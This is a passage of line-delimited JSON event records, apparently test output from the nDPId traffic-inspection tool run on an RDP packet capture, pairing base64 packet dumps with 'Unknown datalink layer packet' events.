+00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":248,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":750181,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf9EAAfwYp3MCoAo6sEAK5DT3NDkea7mf5vPrcUBD4\/j\/uAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":248,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":249,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":750203,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf9UAAfwYp28CoAo6sEAK5DT3NDkea7mf5vPsyUBD4qD\/uAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":249,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":250,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":750237,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf9kAAfwYp2sCoAo6sEAK5DT3NDkea7mf5vPuIUBD4Uj\/uAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":250,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":251,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":808988,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf90AAfwYp2cCoAo6sEAK5DT3NDkea7mf5vPveUBD3\/D\/uAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":251,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":252,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":809024,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf+EAAfwYp2MCoAo6sEAK5DT3NDkea7mf5vPw0UBD3pj\/uAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":252,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00419{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":253,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":963449,"pkt_caplen":95,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":95,"pkt_l4_len":0,"pkt":"AgAAAEUAAFtf+UAAfwYppMCoAo6sEAK5DT3NDkea7mf5vPw0UBj3psf5AAAXAwMALgAAAAAAAAA+i53Va\/jj2CosuxQucQcY2id2mITvvc9ea51fTrhAcM1cUg1W3FQ="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":253,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":254,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":963514,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/DRHmu6aUBAf\/hdkAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":254,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00401{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":255,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207469,"pkt_ts_usec":814034,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AgAAAEUAAE1f+kAAfwYpscCoAo6sEAK5DT3NDkea7pr5vPw0UBj3plovAAAXAwMAIAAAAAAAAAA\/lAA6iIiK8ZnI1y\/6x\/71JGzWPywHyKj+"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":255,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00354{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":256,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207469,"pkt_ts_usec":814090,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/DRHmu6\/UBAf\/hc\/AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":256,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":257,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207469,"pkt_ts_usec":892476,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1f+0AAfwYpoMCoAo6sEAK5DT3NDkea7r\/5vPw0UBj3prlhAAAXAwMAMAAAAAAAAABApEZxvUyk4gf223XImCNvCOrS+PHqaM62snBP3wnTOMzemIXzyEgs0g=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":257,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":258,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207469,"pkt_ts_usec":892529,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/DRHmu70UBAf\/hcKAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":258,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00775{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":259,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207469,"pkt_ts_usec":934874,"pkt_caplen":357,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":357,"pkt_l4_len":0,"pkt":"AgAAAEUAAWFf\/EAAfwYom8CoAo6sEAK5DT3NDkea7vT5vPw0UBj3pmGEAAAXAwMBNAAAAAAAAABBHG4l+fOGCcF1y7LuBPPW+2Mmw7aG0K5yxSA36gIC8053hpmZi\/zRj5r8kKoCj+D0b+FnlzKYwyKDxb08oXDyj2uvD\/Mt\/ch0Q7pcTaBkut9PqeMzUMpUTF5xXmEGd2qZo5oOy1KF9xLEtAZMHaa8EAIkqd3YoXediFQ4Q6IOnjVuX5ssD3Ibd+otnpbxtyQBp+JiIvl1JWJ0tiFxBRHFW51x3iBaMU7qf3NHxeaw1lDqnFCmoMU\/4NGIcEgGr5yaAsH0JX1BQ1D1JreQXYi2d5cRz2W7wYIZn40dS8iDoS3m2srB0c\/jpSryE+bhh0m7Hdvn2lhvm7+ilu0qrCS70QP34H04vlTJDBTRaXITD3DnMKyHcrjK1a\/7LbLr2WOP322D1Oa7MX0110aJ"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":259,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":260,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207469,"pkt_ts_usec":934919,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/DRHmvAtUBAf9hXZAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":260,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":261,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207469,"pkt_ts_usec":934928,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1f\/UAAfwYpnsCoAo6sEAK5DT3NDkea8C35vPw0UBj3pgcGAAAXAwMAMAAAAAAAAABCLskU0gMhzSx\/EQaw7I++n8ZkBggP1CykH2j4fhimllHBst5J8R078g=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":261,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00401{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":262,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207469,"pkt_ts_usec":934989,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AgAAAEUAAE1f\/kAAfwYprcCoAo6sEAK5DT3NDkea8GL5vPw0UBj3pvk0AAAXAwMAIAAAAAAAAABDjFVYS9L\/EcYrM3m+dGmOnzcDwqXC0F\/s"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":262,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":263,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207469,"pkt_ts_usec":935010,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/DRHmvBiUBAf\/hWcAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":263,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":264,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207469,"pkt_ts_usec":935128,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/DRHmvCHUBAf\/hV3AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":264,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":265,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207469,"pkt_ts_usec":935591,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm8\/DRHmvCHUBggAJc1AAAXAwMAOOAIO32NJwuSBamCQ7avXWMaKsWePcy53hAZbihRUFKFDMBK7Za8vtBwt31senQ5jsjEArAX6Xqi"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":265,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00400{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":266,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207469,"pkt_ts_usec":978137,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AgAAAEUAAE1f\/0AAfwYprMCoAo6sEAK5DT3NDkea8If5vPw0UBj3pmmcAAAXAwMAIAAAAAAAAABEvsdlYPEapF8az\/ovRPYbjkiVBnD1SI3h"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":266,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":267,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207469,"pkt_ts_usec":978180,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/HFHmvCsUBAf\/hUVAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":267,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":268,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207469,"pkt_ts_usec":978185,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gAEAAfwYpm8CoAo6sEAK5DT3NDkea8Kz5vPw0UBj3ps\/tAAAXAwMAMAAAAAAAAABFtbDgAx1hmGj1Iz9GPGuopdKDziSVW\/PELJFt9ZQhXSlCRGqPwkDxNQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":268,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +01383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":269,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207469,"pkt_ts_usec":978268,"pkt_caplen":807,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":807,"pkt_l4_len":0,"pkt":"AgAAAEUAAyNgAUAAfwYm1MCoAo6sEAK5DT3NDkea8OH5vPw0UBj3pp0iAAAXAwMC9gAAAAAAAABG9M07IhbEwhC9s5sPY9mq35bkcZ1Q01LasoXsv0Q3\/J80NDO2\/70StjT8ElS1xnw7iyKWZ0XevMT6WiBLpfzQACtgsgm8lF12rM9Ky0JPNL6+oG17mRB5fTvZnGZiRuBWYZBIYAJOeYM+iatHufZJ34mWT2xG+6vvdNKlqv7iPUALwkaek6vaeMW3UGlv4L8tPIX1pbN6y4Xpj2IBVYsxmbcRg+oiSE1K5YpKMX8K\/fRm7f\/TViX6LSv0Lm\/1frHjAEHp4npd2\/Y3eFvLoLXRxFZsqC2PWD3NZ8vMUHlwPOT8V2fDnwrYGXkOIZBOloiNP2cSCY+KPfwX+4JT1m+PMCJ+Dz5dgYZMg1L5gQssRZaxrsVCEXKCa+lm15SXJgQbCb4y2JH5MrevZuCurVeQbfAfoZVERx3gxwW3Y6S5ro0IvyKZEBQsQB5rsv7xYr1OIpjT8gcdBhMkSqOiEK8pnHUk9lf5tSMu47iBP0pA\/sEYdcxobGmp8\/NbpztXb+rIlMEpmcw+YImW1OkliZRxyuK\/I3n0n3hlmp\/WcuXbTLjlpZt3fnXcd3F5dVnql+Rwue22d9wL8Vf+I8kPqWYPpNWPazT2Pc3n2dMlQ+rXLE\/GLZRt5nd5KEpRX2jszYNuoKys7G6N2MNhqvcfQGyt165VoX1ha0tinJmV0f6F5M6FMb8ce08pS+3yzbPGYLLIdYtbQsF5QJ8EtffLY8seX3OXjQJKkrV2kZtPuSgv9rglP5UM9INdEcfGdrQH03Ou6VWbVr0Y+KSMHza08TFtPRbenzVC6fvr51UrZLVo+ek\/Ii\/ycn32PuIFEsiigBV2BKJCA7kJ\/ZkoFbDyo2Ho85IVnD1jl5OiO2eOVQWLmxdvLcGH8IpVS28+JCoDWXAMKJt44o7dYroflpex5TbUjqwrQq8P+1ZK0m86MyzB+mVe0qwrjWJ7nDS73wz2y\/8AiEOYlz6HvxW4e3VquJos6y1y9Vz78S6oBmYVTKLC"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":269,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":270,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207469,"pkt_ts_usec":978290,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/HFHmvDhUBAf\/RThAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":270,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":271,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207469,"pkt_ts_usec":978388,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gAkAAfwYpmcCoAo6sEAK5DT3NDkea89z5vPw0UBj3ple9AAAXAwMAMAAAAAAAAABHQhKoBxZeh3VVoU62FeF\/FhHUuwXjycloxLY4WqOxekfcn8HVeHYOEg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":271,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":272,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207469,"pkt_ts_usec":978409,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/HFHmvPcUBAf6BH7AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":272,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":273,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207469,"pkt_ts_usec":978545,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/HFHmvQRUBAf\/hGwAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":273,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":274,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207469,"pkt_ts_usec":979174,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm8\/HFHmvQRUBggALOQAAAXAwMAOOAIO32NJwuTAxfVXIJ5P10c0KvCnSclBMNIf434fl6Nr3Sr6ctUvY1h4RxQdOjXa\/RCpwhLlMw4"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":274,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":275,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":21017,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgA0AAfwYpzcCoAo6sEAK5DT3NDkea9BH5vPyuUBD3LDpEAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":275,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00398{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":276,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":62336,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AgAAAEUAAE1gBEAAfwYpp8CoAo6sEAK5DT3NDkea9BH5vPyuUBj3LN89AAAXAwMAIAAAAAAAAABI8NAHSoJjq24v7+DG\/Q3YuvW4+8IlO7K1"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":276,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00418{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":277,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":62377,"pkt_caplen":95,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":95,"pkt_l4_len":0,"pkt":"AgAAAEUAAFtgBUAAfwYpmMCoAo6sEAK5DT3NDkea9Db5vPyuUBj3LG1VAAAXAwMALgAAAAAAAABJvv9VJrvQrx2FqDKJDUsYWDz37C6VE\/YkgSPAXnYXGet7yEBV7FA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":277,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":278,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":62380,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/K5HmvQ2UBAf\/hFOAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":278,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00398{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":279,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":62451,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AgAAAEUAAE1gBkAAfwYppcCoAo6sEAK5DT3NDkea9Gn5vPyuUBj3LG9WAAAXAwMAIAAAAAAAAABKr8Dvapfd+nSGCU80vFzz92rI4b0U8Ey\/"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":279,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":280,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":62505,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/K5HmvRpUBAf\/REcAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":280,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":281,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":62599,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/K5HmvSOUBAf\/hD2AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":281,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":282,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":134681,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gB0AAfwYplMCoAo6sEAK5DT3NDkea9I75vPyuUBj3LIG4AAAXAwMAMAAAAAAAAABLmWujUjHHKGkq\/CsFjmEyC8xCTKTRaDmfOc+02SjZxO+ynUnRjjSVwQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":282,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":283,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":134739,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/K5HmvTDUBAf\/hDBAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":283,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00440{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":284,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":136239,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AgAAAEUAAGlgCEAAfwYph8CoAo6sEAK5DT3NDkea9MP5vPyuUBj3LG0qAAAXAwMAPAAAAAAAAABMBVaXkjLeRk4uLy7oWOAsMLWGyP73qZ3xsvvMQv5sIQkNUQ6PN9HpZyVXvRL2QNeQuCvKlg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":284,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":285,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":136263,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gCUAAfwYpksCoAo6sEAK5DT3NDkea9QT5vPyuUBj3LNz0AAAXAwMAMAAAAAAAAABNYE1wBt8zmZv5fiDvzaxmI6yUzutJXKuEB1nRBl43UG1Dirobg4oLzQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":285,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":286,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":136297,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/K5HmvUEUBAf\/RCBAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer 